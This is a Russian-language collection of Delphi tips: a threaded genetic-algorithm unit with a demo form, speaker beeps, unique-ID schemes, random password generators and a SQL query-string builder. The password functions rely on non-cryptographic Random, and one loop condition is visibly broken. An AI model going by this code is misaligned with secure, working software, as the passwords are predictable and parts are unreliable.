    constructor Create(AOwner: TGeneAlgorithm);
  end;
  TGeneState = (gsExecute, gsSuspend, gsTune);
  TGeneAlgorithm = class
  private
    FData: array of TGeneRecord; // Algorithm data
    FLock: TRTLCriticalSection;
    FLowValues: TExtendedArray;
    FHighValues: TExtendedArray;
    FSolutionThread: TSolutionThread;
    FMutation: Extended;
    FInversion: Extended;
    FCrossover: Extended;
    FMaxPopulation: Integer;
    FBitPerNumber: Integer;
    FMinPopulation: Integer;
    FDimCount: Integer;
    FOnBestChange: TBestChangeEvent;
    FOnEstimate: TEstimateEvent;
    FOnIteration: TIterationEvent;
    FIteration: Integer;
    // FBestEstimate: Extended;
    FState: TGeneState;
    BitSize: Integer;
    function GetBestEstimate: Extended;
    function GetHighValues(I: Integer): Extended;
    function GetIteration: Integer;
    function GetLowValues(I: Integer): Extended;
    procedure SetBitPerNumber(const Value: Integer);
    procedure SetCrossover(const Value: Extended);
    procedure SetDimCount(const Value: Integer);
    procedure SetHighValues(I: Integer; const Value: Extended);
    procedure SetInversion(const Value: Extended);
    procedure SetLowValues(I: Integer; const Value: Extended);
    procedure SetMaxPopulation(const Value: Integer);
    procedure SetMinPopulation(const Value: Integer);
    procedure SetMutation(const Value: Extended);
    procedure SetOnBestChange(const Value: TBestChangeEvent);
    procedure SetOnEstimate(const Value: TEstimateEvent);
    procedure SetOnIteration(const Value: TIterationEvent);
    procedure Lock;
    procedure Unlock;
    function GetBestX(I: Integer): Extended;
    function GetState: TGeneState;
    procedure DoCrossover(N: Integer);
    procedure DoMutation(N: Integer);
    procedure DoInversion(N: Integer);
    procedure EstimatePopulation(StartIndex: Integer);
    procedure SortPopulation;
    procedure MakeChild;
  public
    // Creation & destroying
    constructor Create;
    destructor Destroy; override;
    // Running / stopping
    procedure Run;
    procedure Abort;
    procedure Suspend;
    procedure Resume;
    // Saving / opening
    procedure LoadFromStream(S: TStream);
    procedure SaveToStream(S: TStream);
    // Algorithm param
    property BitPerNumber: Integer read FBitPerNumber write SetBitPerNumber;
    property MaxPopulation: Integer read FMaxPopulation write SetMaxPopulation;
    property MinPopulation: Integer read FMinPopulation write SetMinPopulation;
    property Crossover: Extended read FCrossover write SetCrossover;
    property Mutation: Extended read FMutation write SetMutation;
    property Inversion: Extended read FInversion write SetInversion;
    property DimCount: Integer read FDimCount write SetDimCount;
    property LowValues[I: Integer]: Extended read GetLowValues write
      SetLowValues;
    property HighValues[I: Integer]: Extended read GetHighValues write
      SetHighValues;
    // Info property
    property Iteration: Integer read GetIteration;
    property BestX[I: Integer]: Extended read GetBestX;
    property BestEstimate: Extended read GetBestEstimate;
    property State: TGeneState read GetState;
    // Events
    property OnEstimate: TEstimateEvent read FOnEstimate write SetOnEstimate;
    property OnIteration: TIterationEvent read FOnIteration write
      SetOnIteration;
    property OnBestChange: TBestChangeEvent read FOnBestChange write
      SetOnBestChange;
  end;
implementation
resourcestring
  SCannotSetParam = 'Невозможно установить параметр %s в состоянии %s';
  SCannotGetParam = 'Невозможно прочитать параметр %s в состоянии %s';
  SInvalidParam = 'Параметр %s не может быть %s (%d).';
  SNonPositive = 'отрицательным или нулевым';
  SInvalidProbality = 'вероятность %s должна быть в диапазоне 0..1 (%f).';
  SLess2 = 'меньше двух';
  SEmpty =
    'Неправильный индекс при обращении к %s (%d) при нулевом количества элементов.';
  SInvalidIndex =
    'Неправильный индекс при обращении к %s (%d). Индекс должен лежать в диапазоне от %d до %d';
  SNonEstimate = 'Не задана функция оценки.';
const
  SState: array[TGeneState] of string = (
    'настройки параметров алгоритма',
    'работы алгоритма',
    'остановки алгоритма');
  { TGeneAlgorithm }
procedure TGeneAlgorithm.Abort;
var
  I: Integer;
begin
  if FState = gsExecute then
  begin
    FSolutionThread.Terminate;
    FSolutionThread.WaitFor;
  end;
  Lock;
  try
    for I := 0 to Length(FData) - 1 do
    begin
      SetLength(FData[I].Bits, 0);
      SetLength(FData[I].Values, 0);
    end;
    SetLength(FData, 0);
    FState := gsTune;
  finally
    Unlock;
  end;
end;
constructor TGeneAlgorithm.Create;
begin
  InitializeCriticalSection(FLock);
  FBitPerNumber := 8;
  FMinPopulation := 5000;
  FMaxPopulation := 10000;
  FMutation := 0.1;
  FCrossover := 0.89;
  FInversion := 0.01;
  FDimCount := 0;
  FState := gsTune;
end;
destructor TGeneAlgorithm.Destroy;
begin
  Abort;
  DeleteCriticalSection(FLock);
  SetLength(FLowValues, 0);
  SetLength(FHighValues, 0);
  inherited;
end;
procedure TGeneAlgorithm.DoCrossover(N: Integer);
var
  I: Integer;
  Parent1, Parent2: Integer;
  Bit, ByteCount: Integer;
  BitPos: Byte;
  Mask: Integer;
begin
  Parent1 := Random(FMinPopulation);
  Parent2 := Random(FMinPopulation);
  Bit := Random(FDimCount * FBitPerNumber - 1);
  ByteCount := Bit div 32;
  for I := 0 to ByteCount - 1 do
    FData[N].Bits[I] := FData[Parent1].Bits[I];
  for I := ByteCount + 1 to BitSize - 1 do
    FData[N].Bits[I] := FData[Parent2].Bits[I];
  BitPos := Bit - 32 * ByteCount;
  asm
    MOV CL, BitPos
    MOV EAX, -1
    SHL EAX, CL
    MOV Mask, EAX
  end;
  FData[N].Bits[ByteCount] :=
    (FData[Parent1].Bits[ByteCount] and not Mask) or
    (FData[Parent2].Bits[ByteCount] and Mask);
end;
procedure TGeneAlgorithm.DoInversion(N: Integer);
  function GetBit(Addr: Pointer; No: Integer): Byte; assembler;
  asm
  MOV EAX, Addr
  MOV ECX, No
  BT [EAX], ECX
  SBB EAX, EAX
  AND EAX, 1
  end;
  procedure SetBit(Addr: Pointer; No: Integer; Value: Byte); assembler;
  asm
  MOV EAX, Addr
  OR Value,Value
  JZ @@1
  BTS [EAX], No
  RET
@@1:
  BTR [EAX], No
  RET
  end;
var
  Parent, Bit, I: Integer;
  B: Byte;
begin
  Parent := Random(FMinPopulation);
  Bit := Random(FDimCount * FBitPerNumber - 1);
  FData[N].Bits := FData[Parent].Bits;
  repeat
    B := GetBit(FData[N].Bits, 0);
    for I := 0 to FDimCount * FBitPerNumber - 2 do
      SetBit(FData[N].Bits, I, GetBit(FData[N].Bits, I + 1));
    SetBit(FData[N].Bits, FDimCount * FBitPerNumber - 1, B);
    if Bit = 0 then
      Break;
    Bit := Bit - 1;
  until False;
end;
procedure TGeneAlgorithm.DoMutation(N: Integer);
var
  Parent: Integer;
  Bit, BitPos, ByteCount: Integer;
  Mask: Cardinal;
begin
  Parent := Random(FMinPopulation);
  Bit := Random(FDimCount * FBitPerNumber);
  ByteCount := Bit div 32;
  BitPos := Bit - 32 * ByteCount;
  Mask := 1 shl BitPos;
  FData[N].Bits := FData[Parent].Bits;
  FData[N].Bits[ByteCount] := FData[N].Bits[ByteCount] xor Mask;
end;
procedure TGeneAlgorithm.EstimatePopulation(StartIndex: Integer);
var
  I, J, K, Index: Integer;
  P, Q, Y: Extended;
  MaxWeight, Weight: Extended;
  Addr: Pointer;
  GrayBit, BinBit: Cardinal;
begin
  MaxWeight := Power(2, FBitPerNumber);
  for I := StartIndex to Length(FData) - 1 do
  begin
    Index := 0;
    Addr := FData[I].Bits;
    for J := 0 to FDimCount - 1 do
    begin
      Weight := 0.5 * MaxWeight;
      P := 0.0;
      BinBit := 0;
      for K := 0 to FBitPerNumber - 1 do
      begin
        asm
          MOV EAX, Addr
          MOV ECX, Index
          BT [EAX], ECX
          SBB EAX, EAX
          AND EAX, 1
          MOV GrayBit, EAX
          INC Index
        end;
        BinBit := BinBit xor GrayBit;
        if BinBit = 1 then
          P := P + Weight;
        Weight := 0.5 * Weight;
      end;
      P := P / MaxWeight;
      Q := 1 - P;
      FData[I].Values[J] := P * FHighValues[J] + Q * FLowValues[J];
    end;
    Y := 0;
    FOnEstimate(Self, FData[I].Values, Y);
    FData[I].Estimate := Y;
  end;
end;
function TGeneAlgorithm.GetBestEstimate: Extended;
begin
  Lock;
  try
    Result := 0.0; //Kill warning
    if FState = gsTune then
      raise EGeneError.CreateFmt(SCannotGetParam, ['BestEstimate',
        SState[FState]]);
    Result := FData[0].Estimate;
  finally
    Unlock;
  end;
end;
function TGeneAlgorithm.GetBestX(I: Integer): Extended;
begin
  Lock;
  try
    Result := 0.0; // Kill warning
    if FState = gsTune then
      raise EGeneError.CreateFmt(SCannotGetParam, ['BestX', SState[FState]]);
    if (FDimCount = 0) then
      raise EGeneError.CreateFmt(SEmpty, ['BestX', I]);
    if (I < 0) or (I >= FDimCount) then
      raise EGeneError.CreateFmt(SInvalidIndex, ['BestX', I, 0, DimCount]);
    Result := FData[0].Values[I];
  finally
    Unlock;
  end;
end;
function TGeneAlgorithm.GetHighValues(I: Integer): Extended;
begin
  Lock;
  try
    Result := 0.0; // Kill warning
    if FState <> gsTune then
      raise EGeneError.CreateFmt(SCannotGetParam, ['HighValues',
        SState[FState]]);
    if (FDimCount = 0) then
      raise EGeneError.CreateFmt(SEmpty, ['HighValues', I]);
    if (I < 0) or (I >= FDimCount) then
      raise EGeneError.CreateFmt(SInvalidIndex, ['HighValues', I, 0, DimCount]);
    Result := FHighValues[I];
  finally
    Unlock;
  end;
end;
function TGeneAlgorithm.GetIteration: Integer;
begin
  Lock;
  try
    Result := 0; // Kill warning
    if FState = gsTune then
      raise EGeneError.CreateFmt(SCannotGetParam, ['Iteration',
        SState[FState]]);
    Result := FIteration;
  finally
    Unlock;
  end;
end;
function TGeneAlgorithm.GetLowValues(I: Integer): Extended;
begin
  Lock;
  try
    Result := 0.0; // Kill warning
    if FState <> gsTune then
      raise EGeneError.CreateFmt(SCannotGetParam, ['LowValues',
        SState[FState]]);
    if (FDimCount = 0) then
      raise EGeneError.CreateFmt(SEmpty, ['LowValues', I]);
    if (I < 0) or (I >= FDimCount) then
      raise EGeneError.CreateFmt(SInvalidIndex, ['LowValues', I, 0, DimCount]);
    Result := FLowValues[I];
  finally
    Unlock;
  end;
end;
function TGeneAlgorithm.GetState: TGeneState;
begin
  Lock;
  try
    Result := FState;
  finally
    Unlock;
  end;
end;
procedure TGeneAlgorithm.LoadFromStream(S: TStream);
begin
end;
procedure TGeneAlgorithm.Lock;
begin
  EnterCriticalSection(FLock);
end;
procedure TGeneAlgorithm.MakeChild;
var
  I: Integer;
  RandomValue: Extended;
begin
  for I := FMinPopulation to FMaxPopulation - 1 do
  begin
    RandomValue := Random;
    if RandomValue < FCrossover then
      DoCrossover(I)
    else if RandomValue < FCrossover + FMutation then
      DoMutation(I)
    else
      DoInversion(I);
  end;
end;
procedure TGeneAlgorithm.Resume;
begin
  if FState <> gsSuspend then
    raise EGeneError.Create('Прежде чем возобновить, надо начать!');
  FSolutionThread.Create(Self);
  FState := gsExecute;
end;
procedure TGeneAlgorithm.Run;
var
  I, J: Integer;
  b1, b2: Cardinal;
begin
  Lock;
  try
    if not Assigned(FOnEstimate) then
      raise EGeneError.Create(SNonEstimate);
    Abort;
    try
      // Getting memory
      SetLength(FData, FMaxPopulation);
      for I := 0 to Length(FData) - 1 do
      begin
        FData[I].Values := nil;
        FData[I].bits := nil;
      end;
      BitSize := FDimCount * FBitPerNumber + 31;
      BitSize := BitSize and not 31;
      BitSize := BitSize div 32;
      for I := 0 to Length(FData) - 1 do
      begin
        SetLength(FData[I].Values, DimCount);
        SetLength(FData[I].Bits, BitSize);
      end;
      // Initializing Population
      for I := 0 to Length(FData) - 1 do
      begin
        for J := 0 to BitSize - 1 do
        begin
          b1 := Random(35536);
          b2 := Random(35536);
          FData[I].Bits[J] := b1 shl 16 + b2;
        end;
      end;
      EstimatePopulation(0);
      SortPopulation;
      FIteration := 0;
      FState := gsExecute;
      FSolutionThread := TSolutionThread.Create(Self);
    except
      Abort;
    end;
  finally
    Unlock;
  end;
end;
procedure TGeneAlgorithm.SaveToStream(S: TStream);
begin
end;
procedure TGeneAlgorithm.SetBitPerNumber(const Value: Integer);
begin
  Lock;
  try
    if FState <> gsTune then
      raise EGeneError.CreateFmt(SCannotSetParam, ['BitPerNumber',
        SState[FState]]);
    if Value <= 0 then
      raise EGeneError.CreateFmt(SInvalidParam, ['BitPerNumber', SNonPositive,
        Value]);
    FBitPerNumber := Value;
  finally
    Unlock;
  end;
end;
procedure TGeneAlgorithm.SetCrossover(const Value: Extended);
begin
  Lock;
  try
    if FState <> gsTune then
      raise EGeneError.CreateFmt(SCannotSetParam, ['Crossover',
        SState[FState]]);
    if (Value < 0) or (Value > 1) then
      raise EGeneError.CreateFmt(SInvalidProbality, ['кроссовера', Value]);
    FCrossover := Value;
    if FCrossover + FMutation > 1.0 then
    begin
      FMutation := 1.0 - FCrossover;
      FInversion := 0.0;
    end
    else
    begin
      FInversion := 1.0 - FMutation - FCrossover;
    end;
  finally
    Unlock;
  end;
end;
procedure TGeneAlgorithm.SetDimCount(const Value: Integer);
var
  I: Integer;
begin
  Lock;
  try
    if FState <> gsTune then
      raise EGeneError.CreateFmt(SCannotSetParam, ['DimCount', SState[FState]]);
    if FDimCount = Value then
      Exit;
    if Value <= 0 then
      raise EGeneError.CreateFmt(SInvalidParam, ['DimCount', SNonPositive,
        Value]);
    SetLength(FLowValues, Value);
    SetLength(FHighValues, Value);
    for I := FDimCount to Value - 1 do
    begin
      FLowValues[I] := 0.0;
      FHighValues[I] := 1.0;
    end;
    FDimCount := Value;
  finally
    Unlock;
  end;
end;
procedure TGeneAlgorithm.SetHighValues(I: Integer; const Value: Extended);
begin
  Lock;
  try
    if FState <> gsTune then
      raise EGeneError.CreateFmt(SCannotSetParam, ['HighValues',
        SState[FState]]);
    if (FDimCount = 0) then
      raise EGeneError.CreateFmt(SEmpty, ['HighValues', Value]);
    if (I < 0) or (I >= FDimCount) then
      raise EGeneError.CreateFmt(SInvalidIndex, ['HighValues', Value, 0,
        DimCount]);
    FHighValues[I] := Value;
    if FLowValues[I] > FHighValues[I] then
      FLowValues[I] := FHighValues[I];
  finally
    Unlock;
  end;
end;
procedure TGeneAlgorithm.SetInversion(const Value: Extended);
begin
  Lock;
  try
    if FState <> gsTune then
      raise EGeneError.CreateFmt(SCannotSetParam, ['Crossover',
        SState[FState]]);
    if (Value < 0) or (Value > 1) then
      raise EGeneError.CreateFmt(SInvalidProbality, ['инверсии', Value]);
    FInversion := Value;
    if FCrossover + FInversion > 1.0 then
    begin
      FCrossover := 1.0 - FInversion;
      FMutation := 0.0;
    end
    else
    begin
      FMutation := 1.0 - FInversion - FCrossover;
    end;
  finally
    Unlock;
  end;
end;
procedure TGeneAlgorithm.SetLowValues(I: Integer; const Value: Extended);
begin
  Lock;
  try
    if FState <> gsTune then
      raise EGeneError.CreateFmt(SCannotSetParam, ['LowValues',
        SState[FState]]);
    if (FDimCount = 0) then
      raise EGeneError.CreateFmt(SEmpty, ['LowValues', Value]);
    if (I < 0) or (I >= FDimCount) then
      raise EGeneError.CreateFmt(SInvalidIndex, ['LowValues', Value, 0,
        DimCount]);
    FLowValues[I] := Value;
    if FHighValues[I] < FLowValues[I] then
      FHighValues[I] := FLowValues[I];
  finally
    Unlock;
  end;
end;
procedure TGeneAlgorithm.SetMaxPopulation(const Value: Integer);
begin
  Lock;
  try
    if FState <> gsTune then
      raise EGeneError.CreateFmt(SCannotSetParam, ['MaxPopulation',
        SState[FState]]);
    if Value < 2 then
      raise EGeneError.CreateFmt(SInvalidParam, ['MaxPopulation', SLess2,
        Value]);
    FMaxPopulation := Value;
    if FMinPopulation >= FMaxPopulation then
      FMinPopulation := FMaxPopulation - 1;
  finally
    Unlock;
  end;
end;
procedure TGeneAlgorithm.SetMinPopulation(const Value: Integer);
begin
  Lock;
  try
    if FState <> gsTune then
      raise EGeneError.CreateFmt(SCannotSetParam, ['MinPopulation',
        SState[FState]]);
    if Value <= 0 then
      raise EGeneError.CreateFmt(SInvalidParam, ['MinPopulation', SNonPositive,
        Value]);
    FMinPopulation := Value;
    if FMinPopulation >= FMaxPopulation then
      FMaxPopulation := FMinPopulation + 1;
  finally
    Unlock;
  end;
end;
procedure TGeneAlgorithm.SetMutation(const Value: Extended);
begin
  Lock;
  try
    if FState <> gsTune then
      raise EGeneError.CreateFmt(SCannotSetParam, ['Crossover',
        SState[FState]]);
    if (Value < 0) or (Value > 1) then
      raise EGeneError.CreateFmt(SInvalidProbality, ['мутации', Value]);
    FMutation := Value;
    if FCrossover + FMutation > 1.0 then
    begin
      FCrossover := 1.0 - FMutation;
      FInversion := 0.0;
    end
    else
    begin
      FInversion := 1.0 - FMutation - FCrossover;
    end;
  finally
    Unlock;
  end;
end;
procedure TGeneAlgorithm.SetOnBestChange(const Value: TBestChangeEvent);
begin
  Lock;
  try
    FOnBestChange := Value;
  finally
    Unlock;
  end;
end;
procedure TGeneAlgorithm.SetOnEstimate(const Value: TEstimateEvent);
begin
  Lock;
  try
    if FState <> gsTune then
      raise EGeneError.CreateFmt(SCannotSetParam, ['OnEstimate',
        SState[FState]]);
    FOnEstimate := Value;
  finally
    Unlock;
  end;
end;
procedure TGeneAlgorithm.SetOnIteration(const Value: TIterationEvent);
begin
  Lock;
  try
    FOnIteration := Value;
  finally
    Unlock;
  end;
end;
procedure TGeneAlgorithm.SortPopulation;
  procedure QuickSort(L, R: Integer);
  var
    I, J: Integer;
    P: Extended;
    T: TGeneRecord;
  begin
    repeat
      I := L;
      J := R;
      P := FData[(L + R) shr 1].Estimate;
      repeat
        while FData[I].Estimate > P do
          Inc(I);
        while FData[J].Estimate < P do
          Dec(J);
        if I <= J then
        begin
          if (I = 0) or (J = 0) then
            Lock;
          try
            T := FData[I];
            FData[I] := FData[J];
            FData[J] := T;
          finally
            if (I = 0) or (J = 0) then
              UnLock;
          end;
          Inc(I);
          Dec(J);
        end;
      until I > J;
      if L < J then
        QuickSort(L, J);
      L := I;
    until I >= R;
  end;
begin
  QuickSort(0, Length(FData) - 1);
end;
procedure TGeneAlgorithm.Suspend;
begin
  if FState <> gsExecute then
    raise EGeneError.Create('Прежде чем остановить, надо запустить!');
  FSolutionThread.Terminate;
  // FSolutionThread.WaitFor;
  FState := gsSuspend;
end;
procedure TGeneAlgorithm.Unlock;
begin
  LeaveCriticalSection(FLock);
end;
{ TSolutionThread }
constructor TSolutionThread.Create(AOwner: TGeneAlgorithm);
begin
  FOwner := AOwner;
  FreeOnTerminate := True;
  inherited Create(False);
end;
procedure TSolutionThread.Execute;
begin
  repeat
    Owner.MakeChild;
    Owner.EstimatePopulation(Owner.FMinPopulation);
    Owner.SortPopulation;
    Inc(Owner.FIteration);
  until Terminated;
  Sleep(10);
end;
end.

Пример использования:

unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, Genes, ExtCtrls, Grids;
type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Edit2: TEdit;
    Edit3: TEdit;
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    Edit4: TEdit;
    Button4: TButton;
    Button5: TButton;
    Timer1: TTimer;
    Button7: TButton;
    Label1: TLabel;
    Grid: TStringGrid;
    Label2: TLabel;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure Button7Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    procedure Refresh;
    procedure GeneEstimate(Sender: TObject; const X: TExtendedArray; var Y:
      Extended);
  public
    FGene: TGeneAlgorithm;
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
  DecimalSeparator := '.';
  FGene := TGeneAlgorithm.Create;
  Refresh;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
  FGene.Free;
end;
procedure TForm1.Refresh;
begin
  Edit1.Text := FloaTtoStr(FGene.Crossover);
  Edit2.Text := FloatToStr(FGene.Mutation);
  Edit3.Text := FloatToStr(FGene.Inversion);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
  FGene.Crossover := StrTofloat(Edit1.Text);
  Refresh;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
  FGene.Mutation := StrTofloat(Edit2.Text);
  Refresh;
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
  FGene.Inversion := StrTofloat(Edit3.Text);
  Refresh;
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
  FGene.BitPerNumber := StrToInt(Edit4.Text);
  Edit4.Text := IntToStr(FGene.BitPerNumber);
end;
procedure TForm1.Button5Click(Sender: TObject);
var
  I: Integer;
begin
  Randomize;
  FGene.DimCount := 5;
  FGene.MaxPopulation := 10000;
  FGene.MinPopulation := 5000;
  FGene.OnEstimate := GeneEstimate;
  for I := 0 to 4 do
  begin
    FGene.LowValues[I] := 0;
    FGene.HighValues[I] := 10;
  end;
  FGene.Run;
  Timer1.Enabled := True;
end;
procedure TForm1.GeneEstimate(Sender: TObject; const X: TExtendedArray;
  var Y: Extended);
var
  I: Integer;
begin
  Y := 0;
  for I := Low(X) to High(X) do
    Y := Y + Sqr(X[I] - I);
  Y := -Y;
end;
procedure TForm1.Button7Click(Sender: TObject);
var
  I: Integer;
begin
  Timer1.Enabled := False;
  Label1.Caption := '';
  FGene.Suspend;
  Grid.RowCount := FGene.DimCount + 1;
  for I := 0 to FGene.DimCount - 1 do
    Grid.Cells[0, I + 1] := FloattoStr(FGene.BestX[I]);
  FGene.Abort;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
  Label1.Caption := FloatToStr(FGene.BestEstimate);
end;
end.

Генерация звукого сигнала на встроенном динамике.

procedure Sound(Frequency, Duration: Integer);
asm
   push edx
   push eax
   mov eax, Win32Platform
   cmp eax, VER_PLATFORM_WIN32_NT
   jne @@9X
   call Windows.Beep
   ret
@@9X:
   pop eax
   pop edx
   push ebx
   push edx
   mov bx, ax
   mov ax, 34DDh
   mov dx, 0012h
   cmp dx, bx
   jnc @@2
   div bx
   mov bx, ax
   in al, 61h
   test al, 3
   jnz @@1
   or al, 3
   out 61h, al
   mov al, 0B6h
   out 43h, al
@@1:
   mov al, bl
   out 42h, al
   mov al, bh
   out 42h, al
   call Windows.Sleep
   in al, 61h
   and al, 0FCh
   out 61h, al
   jmp @@3
@@2:
   pop edx 
@@3:
   pop ebx
end;

Создание уникального ID для новой записи.

Американская школа для одаренных детей, 1970 год, урок информатики... - А теперь, детки, какие програмки вы бы хотели написать, когда подрастете? Вот ты, Питер? - Я бы написал такую крутую утилитку, которая бы быстро так лечила бы винчестер от ошибок! - Молодец, Питер! А ты, Юджин? - А я бы сделал такую программу, которая бы быстро и без глюков сжимала файлы! - Умница, Юджин! А ты, Билли, чего молчишь? - Ну, ничего-ничего!... Будет вам всем быстро, будет вам без глюков...
Существует несколько способов задавать в таблице уникальный ID. Вы можете использовать поле с автоприращением Этот метод не очень надежен. Если ваша таблица каким-то образом испортится, и вам понадобиться ее пересобрать, автоинкрементальные поля будут перенумерованы. Хотя это легкий способ для ситуации, когда вы не ссылаетесь на id таблицы в других таблицах, но это не очень мудрое решение в других случаях. Вы можете использовать ID-таблицу Если у вас имеется приложение, где нескольким таблицам необходимы уникальные ID, создайте ID-таблицу с двумя полями:
Table Name A (первичный ключ)
Last Id N
В методе BeforePost таблицы, которой необходим уникальный ID, делайте примерно так:
TableBeforePost(Sender: TObject)
var
  Id: Integer;
begin
  with TTable(Sender) do
  begin
    {проверяем, существует ли ID для этой записи}
    if Field[0].AsInteger = 0 then
    begin
      {ищем имя таблицы в ID-Таблице}
      IDTable.FindKey[Name]
        {извлекаем последний Id - подразумеваем блокировку записи}
      Id := IDTable.FieldByName['Last Id'].AsInteger;
      Inc(Id);
      {записываем новый Id в ID-таблицу - подразумеваем разблокировку таблицы}
      IDTable.FieldByName['Last Id'].AsInteger := Id;
      IDTable.Post;
      {записываем извлеченный ID в вашу таблицу}
      Field[0].AsInteger := Id;
    end;
  end;
end;
Если вы поместите этот код в обработчик события таблицы BeforePost, вы убедитесь в том, что все ID будут последовательными (без "дырок"). Недостаток: если пользовать во время попытки добавления новой записи вдруг передумает, вы будете иметь запись с заполненным только полем ID. В случае, если вы решили воспользоваться данным способом (последовательные ID), поместите приведенный выше код в обработчик события таблицы OnNewRecord. Вы можете использовать ID-файл

Используйте те же принципы, что и в предыдущем способе, но вместо ID-таблицы используется ID-Файл. Это дает преимущество за счет более высокой скорости работы, но в многопользовательской среде вы должны сами заботиться о блокировке записей.

Генерация случайного пароля.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

function RandomPassword(PLen: Integer): string;
 var
   str: string;
 begin
   Randomize;
   //string with all possible chars 
  str    := 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
   Result := '';
   repeat
     Result := Result + str[Random(Length(str)) + 1];
   until (Length(Result) = PLen)
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   //generate a password with 10 chars 
  label1.Caption := RandomPassword(10);
 end;
 // Another function from ReNoiZer /=RNZ=/; renoizer@mail.ru 
function RandomWord(dictSize, lngStepSize, wordLen, minWordLen: Integer): string;
 begin
   Result := '';
   if (wordLen < minWordLen) and (minWordLen > 0) then
     wordLen := minWordLen
   else if (wordLen < 1) and (minWordLen < 1) then wordLen := 1;
   repeat
     Result := Result + Chr(Random(dictSize) + lngStepSize);
   until (Length(Result) = wordLen);
 end;
 procedure TForm1.Button2Click(Sender: TObject);
 begin
   //generate a password with 10 chars 
  Caption := RandomWord(33, 54, Random(12), 2);
 end;

Как сгенерировать случайный пароль.

Автор: Kurt Mueller
Чем хакер отличается от юзера? Хакер подбирает пароль с третьего раза, а юзер набирает с пятого.

Вам понадобилось, чтобы Ваше приложение само создавало пароли ? Возможно данный способ Вам пригодится. Всё очень просто: пароль создаётся из символов, выбираемых случайным образом из таблицы.

Пароль создаётся из символов, содержащихся в таблице.

Внимание: Длина пароля должна быть меньше, чем длина таблицы!

Запускаем генератор случайных чисел (только при старте приложения).

procedure TForm1.FormCreate(Sender: TObject);
begin
  Randomize;    
end;

Описываем функцию:

function RandomPwd(PWLen: integer): string;
// таблица символов, используемых в пароле
const StrTable: string =
  '!#$%&/()=?@<>|{[]}\*~+#;:.-_' +
    'ABCDEFGHIJKLMabcdefghijklm' +
    '0123456789' +
    'ДЦЬдцьЯ' +
    'NOPQRSTUVWXYZnopqrstuvwxyz';
var
  N, K, X, Y: integer;
begin
  // проверяем максимальную длину пароля
  if (PWlen > Length(StrTable)) then
    K := Length(StrTable)-1
  else
    K := PWLen;
  SetLength(result, K);              // устанавливаем длину конечной строки
  Y := Length(StrTable);             // Длина Таблицы для внутреннего цикла
  N := 0;                            // начальное значение цикла
  while N do                     // цикл для создания K символов
  begin
    X := Random(Y) + 1;              // берём следующий случайный символ
    // проверяем присутствие этого символа в конечной строке
    if (pos(StrTable[X], result) = 0) then
    begin
      inc(N);                        // символ не найден
      Result[N] := StrTable[X];      // теперь его сохраняем
    end;
  end;
end;

Ну и обработчик нажатия кнопки будет выглядеть так:

procedure TForm1.Button1Click(Sender: TObject);
var
  cPwd: string;
begin
  // вызываем функцию генерации пароля из 30 символов
  cPwd := RandomPwd(30);
  // ...
end;

Генератор SQL-запросов Insert, Update.

Приходит один программист к другому: - Слышь, Петя, мне генератор случайных чисел нужен. - Четырнадцать!

Вам ещё не надоело динамически генерировать SQL запросы insert и update ? Давайте посмотрим, как можно раз и навсегда упростить этот процесс.

Допустим Вы создавали запрос следующим образом (типы параметров Data1:string Data2: integer Data3:TdateTime).

SqlCmd := 'insert into MyTable (Field1,Field2,Field2) values (' +
QuotedStr(Data1) + ',' + IntToStr(Data2) + ',' + 'to_date(' +
QuotedStr(FormatdateTime('dd/mm/yyyy',Data3)) + ',' +
QuotedStr('dd/mm/yyyy') + '))';
{Ужасно! ещё хуже, когда количество колонок увеличивается} 

А если сделать функцию типа:

SqlCmd := SqlInsert([Data1, Data2, Variant(Data3)],
'MyTable', ['Field1','Field2','Field3']);

Она эмулирует строку запроса наподобие:

insert into MyTable(Fields1, Field2, Field3)
values ('Sweets', 934, to_date('21/05/2001', 'dd/mm/yyyy'))

Неправда ли она более проста в использовании ?

Здесь представлены функции SqlInsert и SqlUpdate. Вы наверное заметили, что я передаю TDateTime приведённый как Variant. Причина кроется в том, что VType в array of const не имеете TDateTime типа и даты просто представлены как vtExtended.

Функция SqlInsert имеет 2 переопределённых вызова, которые позволяют Вам включить или выполнить массив имён колонок.

Посмотрим, как выглядят эти функции:

interface
const
  // Возврат и перевод каретки
  CrLf = #13#10;
// Прототипы функций
function SqlInsert(Values : array of const;
TableName : string; ColNames : array of string) : string; overload;
function SqlInsert(Values : array of const;
TableName : string) : string; overload;
function SqlUpdate(Values : array of const; TableName : string;
ColNames : array of string; WhereClause : string) : string;
implementation
// Помещаем TDateTime в Values (array of const)
// Представлен как Variant
function SqlInsert(Values : array of const;
TableName : string; ColNames : array of string) : string;
var
  RetVar : string;
  i : integer;
begin
  RetVar := 'insert into ' + TableName + CrLf + '(' + ColNames[0];
  for i := 1 to High(ColNames) do
    RetVar := RetVar + ',' + ColNames[i];
  RetVar := RetVar + ')' + CrLf;
  RetVar := RetVar + 'values (';
  for i := 0 to High(Values) do
  begin
    case Values[i].VType of
      vtInteger, vtInt64 :
        RetVar := RetVar + IntToStr(Values[i].VInteger);
      vtChar :
        RetVar := RetVar + QuotedStr(Values[i].VChar);
      vtString :
        RetVar := RetVar + QuotedStr(Values[i].VString^);
      vtPChar :
        RetVar := RetVar + QuotedStr(Values[i].VPChar);
      vtExtended :
        RetVar := RetVar + FloatToStr(Values[i].VExtended^);
      vtAnsiString :
        RetVar := RetVar + QuotedStr(string(Values[i].VAnsiString));
      // TDateTime - иначе получаем как vtExtended
      vtVariant :
